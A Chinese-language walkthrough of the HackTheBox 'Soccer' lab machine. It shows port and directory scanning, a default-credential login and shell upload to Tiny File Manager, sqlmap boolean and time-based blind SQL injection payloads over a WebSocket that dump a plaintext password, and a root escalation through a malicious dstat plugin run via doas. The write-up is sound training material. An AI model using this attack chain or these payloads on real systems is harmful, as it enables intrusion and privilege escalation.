HTB之Soccer Walkthrough

前言

  • 针对实验靶机完成渗透操作,主要涉及:

    1. 目录扫描
    2. Tiny File Manager文件上传
    3. Nginx枚举
    4. Websockets请求
    5. SQL布尔注入
    6. dosa提权利用

部署

  • target machine : 10.10.11.194

  • attack machine : 10.10.16.7 (本机kali连接openVPN)

Nmap 扫描

┌──(kali㉿kali)-[~/桌面/HTB]
└─$ sudo nmap -sS -Pn -p- --open --min-hostgroup 1024 --min-parallelism 10 -T4 -v 10.10.11.194
···
PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
9091/tcp open  xmltec-xmlmail
···

┌──(kali㉿kali)-[~/桌面/HTB/Broker]
└─$ nmap -sC -sV -p22,80,9091 10.10.11.194
···
PORT     STATE SERVICE         VERSION
22/tcp   open  ssh             OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 ad0d84a3fdcc98a478fef94915dae16d (RSA)
|   256 dfd6a39f68269dfc7c6a0c29e961f00c (ECDSA)
|_  256 5797565def793c2fcbdb35fff17c615c (ED25519)
80/tcp   open  http            nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://soccer.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
9091/tcp open  xmltec-xmlmail?
| fingerprint-strings: 
|   DNSStatusRequestTCP, DNSVersionBindReqTCP, Help, RPCCheck, SSLSessionReq, drda, informix: 
|     HTTP/1.1 400 Bad Request
|     Connection: close
|   GetRequest: 
|     HTTP/1.1 404 Not Found
|     Content-Security-Policy: default-src 'none'
|     X-Content-Type-Options: nosniff
|     Content-Type: text/html; charset=utf-8
|     Content-Length: 139
|     Date: Wed, 07 Feb 2024 12:09:33 GMT
|     Connection: close
|     <!DOCTYPE html>
|     <html lang="en">
|     <head>
|     <meta charset="utf-8">
|     <title>Error</title>
|     </head>
|     <body>
|     <pre>Cannot GET /</pre>
|     </body>
|     </html>
|   HTTPOptions: 
|     HTTP/1.1 404 Not Found
|     Content-Security-Policy: default-src 'none'
|     X-Content-Type-Options: nosniff
|     Content-Type: text/html; charset=utf-8
|     Content-Length: 143
|     Date: Wed, 07 Feb 2024 12:09:36 GMT
|     Connection: close
|     <!DOCTYPE html>
|     <html lang="en">
|     <head>
|     <meta charset="utf-8">
|     <title>Error</title>
|     </head>
|     <body>
|     <pre>Cannot OPTIONS /</pre>
|     </body>
|     </html>
|   RTSPRequest: 
|     HTTP/1.1 404 Not Found
|     Content-Security-Policy: default-src 'none'
|     X-Content-Type-Options: nosniff
|     Content-Type: text/html; charset=utf-8
|     Content-Length: 143
|     Date: Wed, 07 Feb 2024 12:09:39 GMT
|     Connection: close
|     <!DOCTYPE html>
|     <html lang="en">
|     <head>
|     <meta charset="utf-8">
|     <title>Error</title>
|     </head>
|     <body>
|     <pre>Cannot OPTIONS /</pre>
|     </body>
|_    </html>
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port9091-TCP:V=7.93%I=7%D=2/7%Time=65C372F3%P=x86_64-pc-linux-gnu%r(inf
SF:ormix,2F,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nConnection:\x20close\r\
SF:n\r\n")%r(drda,2F,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nConnection:\x2
SF:0close\r\n\r\n")%r(GetRequest,168,"HTTP/1\.1\x20404\x20Not\x20Found\r\n
SF:Content-Security-Policy:\x20default-src\x20'none'\r\nX-Content-Type-Opt
SF:ions:\x20nosniff\r\nContent-Type:\x20text/html;\x20charset=utf-8\r\nCon
SF:tent-Length:\x20139\r\nDate:\x20Wed,\x2007\x20Feb\x202024\x2012:09:33\x
SF:20GMT\r\nConnection:\x20close\r\n\r\n<!DOCTYPE\x20html>\n<html\x20lang=
SF:\"en\">\n<head>\n<meta\x20charset=\"utf-8\">\n<title>Error</title>\n</h
SF:ead>\n<body>\n<pre>Cannot\x20GET\x20/</pre>\n</body>\n</html>\n")%r(HTT
SF:POptions,16C,"HTTP/1\.1\x20404\x20Not\x20Found\r\nContent-Security-Poli
SF:cy:\x20default-src\x20'none'\r\nX-Content-Type-Options:\x20nosniff\r\nC
SF:ontent-Type:\x20text/html;\x20charset=utf-8\r\nContent-Length:\x20143\r
SF:\nDate:\x20Wed,\x2007\x20Feb\x202024\x2012:09:36\x20GMT\r\nConnection:\
SF:x20close\r\n\r\n<!DOCTYPE\x20html>\n<html\x20lang=\"en\">\n<head>\n<met
SF:a\x20charset=\"utf-8\">\n<title>Error</title>\n</head>\n<body>\n<pre>Ca
SF:nnot\x20OPTIONS\x20/</pre>\n</body>\n</html>\n")%r(RTSPRequest,16C,"HTT
SF:P/1\.1\x20404\x20Not\x20Found\r\nContent-Security-Policy:\x20default-sr
SF:c\x20'none'\r\nX-Content-Type-Options:\x20nosniff\r\nContent-Type:\x20t
SF:ext/html;\x20charset=utf-8\r\nContent-Length:\x20143\r\nDate:\x20Wed,\x
SF:2007\x20Feb\x202024\x2012:09:39\x20GMT\r\nConnection:\x20close\r\n\r\n<
SF:!DOCTYPE\x20html>\n<html\x20lang=\"en\">\n<head>\n<meta\x20charset=\"ut
SF:f-8\">\n<title>Error</title>\n</head>\n<body>\n<pre>Cannot\x20OPTIONS\x
SF:20/</pre>\n</body>\n</html>\n")%r(RPCCheck,2F,"HTTP/1\.1\x20400\x20Bad\
SF:x20Request\r\nConnection:\x20close\r\n\r\n")%r(DNSVersionBindReqTCP,2F,
SF:"HTTP/1\.1\x20400\x20Bad\x20Request\r\nConnection:\x20close\r\n\r\n")%r
SF:(DNSStatusRequestTCP,2F,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nConnecti
SF:on:\x20close\r\n\r\n")%r(Help,2F,"HTTP/1\.1\x20400\x20Bad\x20Request\r\
SF:nConnection:\x20close\r\n\r\n")%r(SSLSessionReq,2F,"HTTP/1\.1\x20400\x2
SF:0Bad\x20Request\r\nConnection:\x20close\r\n\r\n");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
···

网站访问

  • 80端口打开,无法直接访问http://10.10.11.194,设置本地host再访问http://soccer.htb/

Gobuster 目录扫描

┌──(kali㉿kali)-[~/桌面/HTB/Soccer]
└─$ gobuster dir -u http://soccer.htb/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 50
···
/tiny                 (Status: 301) [Size: 178] [--> http://soccer.htb/tiny/]

  • 运行Tiny File Manager程序

TFM登录

  • 根据tinyfilemanager可知,默认用户名/密码:admin/admin@123user/12345,admin/admin@123尝试登录成功:

    • Tiny File Manager版本为2.4.3
  • 上传文件路径为/var/www/html/tiny/uploads/

  • 上传文件内容修改:

  • 本地监听:

      ┌──(kali㉿kali)-[~/桌面/HTB/Soccer]
      └─$ nc -nlvp 4444
      listening on [any] 4444 ...
    
  • 访问获得shell:

      ┌──(kali㉿kali)-[~/桌面/HTB/Soccer]
      └─$ nc -nlvp 4444
      listening on [any] 4444 ...
      connect to [10.10.16.7] from (UNKNOWN) [10.10.11.194] 38986
      Linux soccer 5.4.0-135-generic #152-Ubuntu SMP Wed Nov 23 20:19:22 UTC 2022 x86_64 x86_64 x86_64 GNU/Linux
      14:08:35 up  4:34,  0 users,  load average: 0.27, 0.34, 0.30
      USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
      uid=33(www-data) gid=33(www-data) groups=33(www-data)
      /bin/sh: 0: can't access tty; job control turned off
      $ which python
      $ which python3
      /usr/bin/python3
      $ python3 -c "import pty;pty.spawn('/bin/bash')"
      www-data@soccer:/$ pwd
      pwd
      /
      www-data@soccer:/$ dir
      dir
      bin   dev   lib    libx32      mnt   root  snap  tmp	  var
      boot  etc   lib32  lost+found  opt   run   srv	 usr
      data  home  lib64  media       proc  sbin  sys	 vagrant
      www-data@soccer:/$ cd home
      cd home
      www-data@soccer:/home$ dir
      dir
      player
      www-data@soccer:/home$ cd player
      cd player
      www-data@soccer:/home/player$ dir
      dir
      user.txt
      www-data@soccer:/home/player$ type user.txt
      type user.txt
      bash: type: user.txt: not found
      www-data@soccer:/home/player$ cat user.txt
      cat user.txt
      cat: user.txt: Permission denied
    

枚举Nginx:

```
www-data@soccer:/opt$ nginx -v
nginx -v
nginx version: nginx/1.18.0 (Ubuntu)
www-data@soccer:/opt$ nginx -t
nginx -t
nginx: [alert] could not open error log file: open() "/var/log/nginx/error.log" failed (13: Permission denied)
2024/02/07 14:16:09 [warn] 3888#3888: the "user" directive makes sense only if the master process runs with super-user privileges, ignored in /etc/nginx/nginx.conf:1
nginx: the configuration file /etc/nginx/nginx.conf syntax is ok
2024/02/07 14:16:09 [emerg] 3888#3888: open() "/run/nginx.pid" failed (13: Permission denied)
nginx: configuration file /etc/nginx/nginx.conf test failed
www-data@soccer:/opt$ cd /
cd /
www-data@soccer:/$ cat /etc/nginx/nginx.conf
cat /etc/nginx/nginx.conf
user www-data;
worker_processes auto;
pid /run/nginx.pid;
include /etc/nginx/modules-enabled/*.conf;

events {
    worker_connections 768;
    # multi_accept on;
}

http {

    ##
    # Basic Settings
    ##

    sendfile on;
    tcp_nopush on;
    tcp_nodelay on;
    keepalive_timeout 65;
    types_hash_max_size 2048;
    # server_tokens off;

    # server_names_hash_bucket_size 64;
    # server_name_in_redirect off;

    include /etc/nginx/mime.types;
    default_type application/octet-stream;

    ##
    # SSL Settings
    ##

    ssl_protocols TLSv1 TLSv1.1 TLSv1.2 TLSv1.3; # Dropping SSLv3, ref: POODLE
    ssl_prefer_server_ciphers on;

    ##
    # Logging Settings
    ##

    access_log /var/log/nginx/access.log;
    error_log /var/log/nginx/error.log;

    ##
    # Gzip Settings
    ##

    gzip on;

    # gzip_vary on;
    # gzip_proxied any;
    # gzip_comp_level 6;
    # gzip_buffers 16 8k;
    # gzip_http_version 1.1;
    # gzip_types text/plain text/css application/json application/javascript text/xml application/xml application/xml+rss text/javascript;

    ##
    # Virtual Host Configs
    ##

    include /etc/nginx/conf.d/*.conf;
    include /etc/nginx/sites-enabled/*;
}
···
```
  • 查看站点配置信息:

      ```
      www-data@soccer:/etc/nginx/sites-enabled$ ls -l
      ls -l
      total 0
      lrwxrwxrwx 1 root root 34 Nov 17  2022 default -> /etc/nginx/sites-available/default
      lrwxrwxrwx 1 root root 41 Nov 17  2022 soc-player.htb -> /etc/nginx/sites-available/soc-player.htb
      www-data@soccer:/etc/nginx/sites-enabled$ cat /etc/nginx/sites-available/soc-player.htb
      <bled$ cat /etc/nginx/sites-available/soc-player.htb
      server {
          listen 80;
          listen [::]:80;
    
          server_name soc-player.soccer.htb;
    
          root /root/app/views;
    
          location / {
              proxy_pass http://localhost:3000;
              proxy_http_version 1.1;
              proxy_set_header Upgrade $http_upgrade;
              proxy_set_header Connection 'upgrade';
              proxy_set_header Host $host;
              proxy_cache_bypass $http_upgrade;
          }
    
      }
      www-data@soccer:/etc/nginx/sites-enabled$ cat /etc/nginx/sites-available/default
      <tes-enabled$ cat /etc/nginx/sites-available/default
      server {
          listen 80;
          listen [::]:80;
          server_name 0.0.0.0;
          return 301 http://soccer.htb$request_uri;
      }
    
      server {
          listen 80;
          listen [::]:80;
    
          server_name soccer.htb;
    
          root /var/www/html;
          index index.html tinyfilemanager.php;
                
          location / {
                  try_files $uri $uri/ =404;
          }
    
          location ~ \.php$ {
              include snippets/fastcgi-php.conf;
              fastcgi_pass unix:/run/php/php7.4-fpm.sock;
          }
    
          location ~ /\.ht {
              deny all;
          }
    
      }
      ```
    
  • soc-player.htb设置与soc-player.soccer.htb相匹配,托管在/root/上,传递给本机端口3000

  • default重定向至http://soccer.htb

网站访问

  • 新增host并访问http://soc-player.soccer.htb/

      ┌──(kali㉿kali)-[~/桌面/HTB/Soccer]
      └─$ sudo vim /etc/hosts
                                                                                        
      ┌──(kali㉿kali)-[~/桌面/HTB/Soccer]
      └─$ cat /etc/hosts                                     
      127.0.0.1	localhost
      127.0.1.1	kali
      ::1		localhost ip6-localhost ip6-loopback
      ff02::1		ip6-allnodes
      ff02::2		ip6-allrouters
      192.168.70.134  www.c1moon.com
      10.10.11.208 	searcher.htb
      10.10.11.208    gitea.searcher.htb
      10.10.11.194    soccer.htb soc-player.soccer.htb
    

  • 提示注册或者登录即可获得免费的Ticket

  • 注册并登录:

  • 查看请求及响应,发现存在Websockets请求,发送的消息是带有id的JSON:

SQL注入

  • 查看票据id发现可能存在布尔型注入:

  • 确定当前数据库名称长度:

  • 确定的定当前表数:

  • 这里为了快速获得结果,借助SQLmap进行:

    • 查询当前数据库:
      ┌──(kali㉿kali)-[~/桌面/HTB/Soccer]
      └─$ sqlmap -u ws://soc-player.soccer.htb:9091 --dbs --data '{"id": "1234"}' --dbms mysql --batch --level 5 --risk 3 --threads 10
      ···
      Parameter: JSON id ((custom) POST)
          Type: boolean-based blind
          Title: OR boolean-based blind - WHERE or HAVING clause
          Payload: {"id": "-2076 OR 2935=2935"}
    
          Type: time-based blind
          Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
          Payload: {"id": "1234 AND (SELECT 3080 FROM (SELECT(SLEEP(5)))BwcO)"}
      ---
      [19:25:45] [INFO] the back-end DBMS is MySQL
      back-end DBMS: MySQL >= 5.0.12
      ···
      available databases [5]:
      [*] information_schema
      [*] mysql
      [*] performance_schema
      [*] soccer_db
      [*] sys
      ···
    
    • 查询soccer_db
      ┌──(kali㉿kali)-[~/桌面/HTB/Soccer]
      └─$ sqlmap -u ws://soc-player.soccer.htb:9091 -D soccer_db --tables --data '{"id": "1234"}' --dbms mysql --batch --level 5 --risk 3 --threads 10
      ···
      Database: soccer_db
      [1 table]
      +----------+
      | accounts |
      +----------+
      ···
    
    • 查询accounts表字段
      ┌──(kali㉿kali)-[~/桌面/HTB/Soccer]
      └─$ sqlmap -u ws://soc-player.soccer.htb:9091 -D soccer_db -T accounts --dump --data '{"id": "1234"}' --dbms mysql --batch --level 5 --risk 3 --threads 10
      ···
      Database: soccer_db
      Table: accounts
      [1 entry]
      +------+-------------------+----------------------+----------+
      | id   | email             | password             | username |
      +------+-------------------+----------------------+----------+
      | 1324 | player@player.htb | PlayerOftheMatch2022 | player   |
      +------+-------------------+----------------------+----------+
      ···
    

SSH登录

  • 22端口开启,用player:PlayerOftheMatch2022尝试登录SSH:

      ┌──(kali㉿kali)-[~/桌面/HTB]
      └─$ ssh player@soccer.htb                        
      player@soccer.htb's password: 
      ···
      player@soccer:~$ whoami
      player
      player@soccer:~$ id
      uid=1001(player) gid=1001(player) groups=1001(player)
      player@soccer:~$ dir /home
      player
      player@soccer:~$ cd /home/player
      player@soccer:~$ dir
      user.txt
    

提权

  • 查询执行sudo的权限以及寻找 SetUID 二进制文件:

      player@soccer:~$ sudo -l
      [sudo] password for player: 
      Sorry, user player may not run sudo on localhost.
      player@soccer:~$ find / -perm -u=s -type f 2>/dev/null
      /usr/local/bin/doas
      /usr/lib/snapd/snap-confine
      /usr/lib/dbus-1.0/dbus-daemon-launch-helper
      /usr/lib/openssh/ssh-keysign
      /usr/lib/policykit-1/polkit-agent-helper-1
      /usr/lib/eject/dmcrypt-get-device
      /usr/bin/umount
      /usr/bin/fusermount
      /usr/bin/mount
      /usr/bin/su
      /usr/bin/newgrp
      /usr/bin/chfn
      /usr/bin/sudo
    
  • doas 是一个实用程序,允许标准用户以 root 身份执行任务,就像 sudo 一样。它是由 OpenBSD 项目开发的,作为 sudo 的简约替代品,因此,该程序比 sudo 小得多。虽然它是作为 OpenBSD 的一部分开发的,但它还有一个可移植版本,可以与其他类 Unix 系统(包括 Linux)一起使用。

  • 查看doas配置文件:

      player@soccer:~$ find / -name doas.conf 2>/dev/null
      /usr/local/etc/doas.conf
      player@soccer:~$ cat /usr/local/etc/doas.conf
      permit nopass player as root cmd 
      player@soccer:~$ /usr/bin/dstat
      You did not select any stats, using -cdngy by default.
      --total-cpu-usage-- -dsk/total- -net/total- ---paging-- ---system--
      usr sys idl wai stl| read  writ| recv  send|  in   out | int   csw 
      1   0  99   0   0| 130k   38k|   0     0 |   0     0 | 275   559 
      0   0  99   0   0|   0     0 | 506B 1066B|   0     0 | 249   479 
      0   0 100   0   0|   0     0 | 132B  436B|   0     0 | 214   466 
      0   1  99   0   0|   0     0 |  66B  342B|   0     0 | 226   459 
      1   0  99   0   0|   0     0 |  66B  342B|   0     0 | 234   461 
      0   1  99   0   0|   0     0 | 132B  436B|   0     0 | 214   449 
      ···
    
  • doas目前可以以root身份去运行/usr/bin/dstat命令而不需要密码

  • 通过查看gtfobins-dstat 可知,

      player@soccer:~$ echo 'import os; os.execv("/bin/sh", ["sh"])' >/usr/local/share/dstat/dstat_xxx.py
      player@soccer:~$ ls -al /usr/local/share/dstat/
      total 12
      drwxrwx--- 2 root   player 4096 Feb  8 13:30 .
      drwxr-xr-x 6 root   root   4096 Nov 17  2022 ..
      -rw-rw-r-- 1 player player   39 Feb  8 13:30 dstat_xxx.py
      player@soccer:~$ doas /usr/bin/dstat --list
      internal:
          aio,cpu,cpu-adv,cpu-use,cpu24,disk,disk24,disk24-old,epoch,fs,int,int24,io,ipc,load,lock,mem,mem-adv,net,page,page24,
          proc,raw,socket,swap,swap-old,sys,tcp,time,udp,unix,vm,vm-adv,zones
      /usr/share/dstat:
          battery,battery-remain,condor-queue,cpufreq,dbus,disk-avgqu,disk-avgrq,disk-svctm,disk-tps,disk-util,disk-wait,dstat,
          dstat-cpu,dstat-ctxt,dstat-mem,fan,freespace,fuse,gpfs,gpfs-ops,helloworld,ib,innodb-buffer,innodb-io,innodb-ops,jvm-full,
          jvm-vm,lustre,md-status,memcache-hits,mongodb-conn,mongodb-mem,mongodb-opcount,mongodb-queue,mongodb-stats,mysql-io,mysql-keys,
          mysql5-cmds,mysql5-conn,mysql5-innodb,mysql5-innodb-basic,mysql5-innodb-extra,mysql5-io,mysql5-keys,net-packets,nfs3,nfs3-ops,
          nfsd3,nfsd3-ops,nfsd4-ops,nfsstat4,ntp,postfix,power,proc-count,qmail,redis,rpc,rpcd,sendmail,snmp-cpu,snmp-load,snmp-mem,
          snmp-net,snmp-net-err,snmp-sys,snooze,squid,test,thermal,top-bio,top-bio-adv,top-childwait,top-cpu,top-cpu-adv,top-cputime,
          top-cputime-avg,top-int,top-io,top-io-adv,top-latency,top-latency-avg,top-mem,top-oom,utmp,vm-cpu,vm-mem,vm-mem-adv,vmk-hba,
          vmk-int,vmk-nic,vz-cpu,vz-io,vz-ubc,wifi,zfs-arc,zfs-l2arc,zfs-zil
      /usr/local/share/dstat:
          xxx
      player@soccer:~$ doas /usr/bin/dstat --xxx
      /usr/bin/dstat:2619: DeprecationWarning: the imp module is deprecated in favour of importlib; see the module's documentation for alternative uses
      import imp
      # which python3
      /usr/bin/python3
      # python3 -c "import pty;pty.spawn('/bin/bash')"
      root@soccer:/home/player# cd /root
      root@soccer:~# dir
      app  root.txt  run.sql	snap
    

Reference

Soccer

HTML5 WebSocket

Nginx WebDAV模块配置简述

Linux中,nginx命令总结

Linux 全能系统监控工具dstat的实例详解